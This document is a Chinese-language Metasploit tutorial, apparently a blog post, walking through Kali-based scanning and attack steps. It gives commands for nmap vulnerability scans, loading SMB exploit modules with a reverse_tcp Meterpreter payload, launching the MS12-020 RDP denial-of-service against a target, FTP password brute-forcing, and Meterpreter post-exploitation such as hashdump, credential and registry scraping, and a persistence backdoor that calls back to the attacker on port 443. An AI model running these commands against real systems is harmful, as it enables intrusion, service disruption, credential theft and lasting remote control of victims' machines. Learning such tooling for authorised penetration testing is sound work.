概念：Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。

我们这次用的是kali系统自带的metasploit

我们可以通过命令msfconsole来打开metasploit 

在终端下输入？可以查看基础的指令

其中：core commands 核心指令

module commands 模块指令

database backend commands 数据库后端命令

此外：终端下的常用命令 search 搜索含有关键字的模块

use 选择使用的一个模块

set 使用模块后，设置模块所需要的参数的值（对应使用unset取消设置的值）

exploit/run 运行攻击模块

其中，我们需要用到的是exploits模块（渗透攻击/漏洞利用模块）

首先，我们使用kali系统里自带的nmap来查询目标主机

nmap --script=vuln 192.168.xxx.xxx/24

 之后我们启动metasploit

msfdb init&& msfconsole

 之后我们查询漏洞

search 漏洞名称

 之后我们使用命令利用漏洞

use exploit/windows/smb/漏洞名称

 因为这里我没有这个漏洞，所以没有扫出来，可以自己编辑漏洞进行实验

之后可以使用show options查看模块需要设置那些参数

set LHOST 目标本地主机（攻击）ip地址

set RHOST 远程主机（目标机）ip地址

set RPORT  目标端口

set payload windows/meterpreter/reverse_tcp 设置payload

之后我们可以查看目标：show targets

设置目标操作系统类型：set target xx

之后我们使用exploit进行溢出攻击

auxiliary辅助模块

主要负责扫描，指纹识别等相关功能以辅助渗透测试

（exploits模块需要与payloads模块进行联合使用，通过exploits进行渗透成功后执行payloads模块中代码，而auxilary不需要与payloads联合使用）

路径：/usr/share/metasploit-framework/modules/auxiliary

 之后我们通过命令扫描确定主机漏洞

use auxiliary/scanner/ftp/ftp_login

 之后通过具体漏洞进行分析查看

例如：use auxiliary/scanner/rdp/ms12_20_check 使用漏洞进行检测，确认是否存在此漏洞

show options 查看模块需要设置哪些参数

set RHOST 目标主机地址 

之后进行run执行

然后我们使用以下指令进行利用

use auxiliary/dos/windows/rpd/ms12_020_maxchannelids 使用漏洞

show opentions 查看参数

set RHOST 目标主机ip

之后执行，目标主机会中招

网络主机存货扫描

地址：auxiliary/scanner/discovery/arp_sweep

web目录扫描

auxiliary/scanner/http/dir_scanner

ftp登录密码爆破：auxiliary/scanner/ftp/ftp_login

meterpreter

渗透攻击模块的实施通道

常用命令：pwd，sysinfo，getuid

screenshot 对目标主机进行截屏

hashdump 获取用户名与hash口令

shell 获取目标系统的shell控制台

meterpreter脚本使用

路径：/usr/share/Metaspolit-framework/scripts/meterpreter/

使用方法run 脚本名称

arp_scanner 检测局域网中的存货主机

scraper 列举目标系统信息，包括用户名和密码，下载全部注册表，挖掘密码hash值，输出HKEY_CURRENT_USER(HKCU)

persistence 允许目标机注入meterpreter代理，确保系统重启之后meterpreter能运行

使用实例：run persistence -x -i  -p 443 -r 目标主机ip

（-x 目标机开机自启动meterpreter

-i 50 目标机每搁50s自动连接攻击机

-p 443表示目标机将连接攻击机的443端口

-r 自动连接目标ip